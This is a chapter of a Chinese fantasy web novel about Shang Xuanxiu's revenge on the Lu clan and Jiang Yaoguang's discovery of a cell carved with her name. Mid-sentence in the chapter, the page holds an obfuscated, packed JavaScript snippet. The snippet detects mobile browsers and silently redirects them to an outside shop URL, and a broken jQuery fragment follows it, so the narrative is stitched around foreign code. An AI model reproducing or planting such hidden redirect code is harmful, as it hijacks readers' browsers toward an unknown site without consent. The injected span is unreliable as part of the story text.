文趣网 > 其他小说 > 宿敌竟是早亡的道侣 > 15. 永远不会
    陆彦章记得。

    商悬秀也记得。

    死亡的恐惧和愤怒,无论如何也无法磨灭。失去焦距的瞳孔,将死前最真实的情感,深刻地刻印在记忆深处。

    可死亡不是结局。

    永远不是。

    死亡的刹那,商悬秀创造出了“拟灵秘法”。他脱离了肉/身,利用陆家收集的怨煞之气重新凝练神魂,又蛰伏起来,耐心等待复仇的时机。

    直到太初即将熔炼完成的关头,剑煞纵横阴阳天工,强行吸收了许多人的神魂。

    陆氏实力大损。

    他终于抓住机会,利用自己神魂能吸收煞气的特质,短暂操纵太初,就这样将剩下的族人屠戮一空。

    有人反抗,尽数被他杀死,所产生的煞气和血气都成了太初的养料。

    因吸收了太多煞气,太初再度失控。他不得不将其放回原处,又封死阴天工,自己则是离开陆家,远遁魔域。

    商悬秀并未放弃夺走太初。不过,他知道剑廊的存在,也知道凭自己的剑道水平,无法破开剑廊。

    他想到了姜瑶光。

    天下那么多剑修,他第一个想到的,也是唯一一个想到的,只有姜瑶光。

    放出假消息、诱骗姜瑶光来到东洪波州,引导众修士哄抢船只、对姜瑶光提出邀请并将她带入阴天工……做这么多,只是为了利用她的剑气,破开剑廊罢了。

    至于面前这个在阴天工苟活百年的仇人,在如今的他面前,也不过是一只可以随随便便碾死的蝼蚁。

    商悬秀觉得有些无趣了。

    他抬起手,淡淡一笑:“看在舅舅当年给我留个全尸的份儿上,我也留你全尸。”

    宽大的袖袍好似灌了风,露出一截苍白的手臂。几条细长的小鱼从他袖子里游出,像一道道红色的闪电,眨眼间就来到了陆彦章面前。

    陆彦章瞬间反应过来,单手捏诀,调动浑身所剩无几的灵力,飞快向身侧一闪!

    衣袂飞舞,刹那间,一道红芒飞至他身侧,将他衣摆撕咬成碎片。陆彦章汗如雨下,脸上却还保持着最基本的冷静。

    “狂妄的小子……你能死一次,就能死第二次!”

    蓝色的水属性灵光凝聚成一条条水蛇,将商悬秀围在中央,灵力似钢索,狠狠绞动他身边的灵气。

    灵气瞬间混乱,形成了一个漩涡,水光看着柔和,却锋利无比,利刃似地切割着他的肌肤。

    商悬秀略一挥手,几条金鱼陡然冲向灵力漩涡。强劲的灵力与陆彦章的灵力相撞,转眼间便将陆彦章的灵力击溃。

    灵光消散。几乎是同时,房间中突然亮起一阵光芒。

    “嗯?”

    商悬秀饶有兴趣地掀开眼帘,朝着前方望去。就这么一会儿工夫,地板上已经多出了许多血迹。

    深红的血迹犹如溪流,蜿蜒在房间中,构成了一个泛着血色光芒的法阵纹路。此时,那血芒正飞速黯淡下去。

    而陆彦章,已然不见了踪影。

    商悬秀用双指蘸了点血迹,目不转睛地看了一会儿,忽地轻笑一声。

    “以精血为媒介的传送法阵。还算有点本事。”

    他掏出几块灵石,分别扔在地上,那黯淡下去的血阵瞬间又迸射出一阵强光。

    商悬秀将手拢在袖子里,抬脚走入传送法阵,眨眼间,他已出现在千万具塔某一层的走廊之中。

    千万具塔内的结构呈“回”字形,狭窄的长廊在眼前铺展,最终延伸到一片黑暗之中。

    姜瑶光负剑走在回字型长廊中。

    她的脚步极轻,几近无声,配合极度平稳的呼吸和难以察觉的心跳,就像一位游走在黑夜中的猎手。

    这并非她刻意为之,而是在人修与妖族的战场上养成的习惯。

    虽然战争已结束几十年,但这些习惯仍残存在她躯体中,已成了下意识的行为。

    与商悬秀分开后,她独自探查了长廊两侧的房间,很快就搞清了千万具塔的情况。

    千万具塔共有九层,而第五层之上,就是陆家重地。

    这里设置了某种空间法阵,有权限的人进入法阵,就会被传送到六层以上。

    而太初出世后,这里恐怕发生了某种异变。原来就存在的空间法阵和被太初引来的剑器结合,形成了一层独特的屏障。

    她的剑气无意中破开了这道屏障,空间法阵也被触发,三人被传送到了不同楼层,因此分散了。

    因为接近太初,这里的煞气格外浓郁,几乎要凝聚成实体。一路走来,她看到不少煞气凝成的煞象。

    那些煞象没有理智,一遇到生人就开始疯狂攻击。她不欲在这些煞象上浪费时间,所以没有留手,利落地将它们击溃。

    据姜瑶光观察,她所在的是千万具塔的第八层。

    这一层,似乎是陆家的锻造师用来做实验的。随便推开哪扇房间的门,都能看到大量被废弃的刀剑。

    这些刀剑被煞气锈蚀的程度极其高,有些甚至因此断裂,只留下被腐蚀过的断面。

    而它们的刃面上,则是刻着弯曲犹如蝌蚪一般的血色阵纹。

    姜瑶光看了两眼,认出这是用来封存煞气的符文。

    “失败的实验品吗?”

    姜瑶光放下手中残破的刀,离开房间。长廊两侧,古怪煞象愤怒地尖叫着,对她伸出扭曲的触手。

    比起她进房间时,这些煞象更加凝实,这无疑说明了一个信息:

    太初即将出世了。

    姜瑶光目不斜视,从煞象之间走过。每走一步,就有几处煞象被剑气摧毁,幻象像是海市蜃楼那样闪动一瞬,倏然间消失了。

    等她走到长廊尽头,身后再也没有煞象歇斯底里的尖叫。所有恐怖的场景,都被她落在身后。

    取而代之的,是一道轻柔的呢喃。

    ——姜瑶光。

    幽幽的声音,鬼魅一般从右手边长廊那几乎凝成实质的黑暗中传来,悄然飘至耳畔。

    有谁正叫着她的名字。

    那声音很轻,却绝非出于善意。

    沉重的怨恨与恶念凝成煞气,沉甸甸地趴在她的肩膀上,如同一只吸饱了水的贪婪水鬼。

    姜瑶光右手双指并拢,指尖在肩上半寸处轻轻一点,煞气默然

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836900|211471||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    散去,只剩声音幽微地回荡在长廊中。

    ——姜瑶光。

    那声音怨恨地叫着。姜瑶光。

    姜瑶光放下手,略一思考,便抬脚朝着声音源头走去。

    那也是通往九楼的楼梯所在的方向。

    越向前,煞气带来的压迫感就越强。稀薄的空气挤压着胸腔,沉甸甸的感觉再次爬上脊骨,有什么不轻不重地拉扯着她的长发。

    姜瑶光停下脚步。

    她的面前是通往九楼的楼梯。楼梯旁是一扇门。

    和其他房间雅致的隔扇门不同,这是一扇铁门。

    铁门像是专为囚徒打造的,肉眼可见地厚重,门上则钉着一具早已化为白骨的尸体。

    一把长刀从尸体的左眼刺入,又顺势刺穿铁门,将其高高挂在门上。

    深黑色的液体斑斑溅在铁门上,烛泪似的,顺着门蜿蜒流到地上。

    尸体穿着陆氏高阶锻造师的服饰,应该是哪位长老,只是不知道被谁杀死在这里了。

    是被陆清平的孩子杀死的吗?

    姜瑶光沉吟几息,握住长刀刀柄,把它抽出来。

    失去了支撑,尸身“啪”地摔在地上,头骨还在地上轱辘轱辘滚了几圈,发出一阵不轻不重的声响。

    在这有些可笑的背景音中,铁门之内,再度传来怨毒的呼唤——

    “姜瑶光。姜瑶光。姜瑶光。”

    姜瑶光随手拿起墙壁上的灯烛,打开厚重的铁门。铁门被她推开,一股阴寒的气息扑面而来。

    这果然是一间囚室。

    囚室极为狭小,豆大的烛火足以将其全部照亮。姜瑶光站在门口,略一垂眼,就看到一具雪白的尸骨。

    尸骨低垂着头,支着一条腿,正对着铁门,安然坐在这间逼仄的囚室之中。

    他没有看向她。

    在生命的最后时刻,他并不期望有人打开那扇铁门。他只是用伤痕累累的手,一遍一遍,在囚室冷硬的墙壁上,刻下同一个名字。

    姜瑶光踏入门中。

    刹那间,阴寒如冰的恨意奔涌而来,像是柔软黏腻的蜘蛛丝一般,静悄悄地落在她身上。黏稠而无声。

    姜瑶光抬起手。

    灯烛被举起来,照亮这间不大的囚室,也照亮墙壁上细细密密、层层叠叠的刻痕。

    血肉模糊的指尖,描摹着同一个名字,指尖凶狠地嵌入墙壁中。一次一次,一遍一遍,一切的恨,都被永远地篆刻在墙壁之上,纵然死亡也无法消除。

    姜瑶光姜瑶光姜瑶光姜瑶光姜瑶光——

    层层叠叠的名字。一个叠着一个,在鲜血中穿行,几乎已辨认不清。

    姜瑶光。

    血肉被磨平了骨头被磨平了灵魂被磨平了没有关系没有关系恨意不会被磨平永远不会你永远不会忘记我我永远不会忘记你永远永远永远永远

    姜瑶光姜瑶光姜瑶光姜瑶光姜瑶光姜瑶光姜瑶光姜瑶光姜瑶光姜瑶光姜瑶光姜瑶光姜瑶光姜瑶光姜瑶光姜瑶光姜瑶光姜瑶光姜瑶光姜瑶光姜瑶光姜瑶光姜瑶光姜瑶光姜瑶光姜瑶光姜瑶光姜瑶光

    永远不会!!!!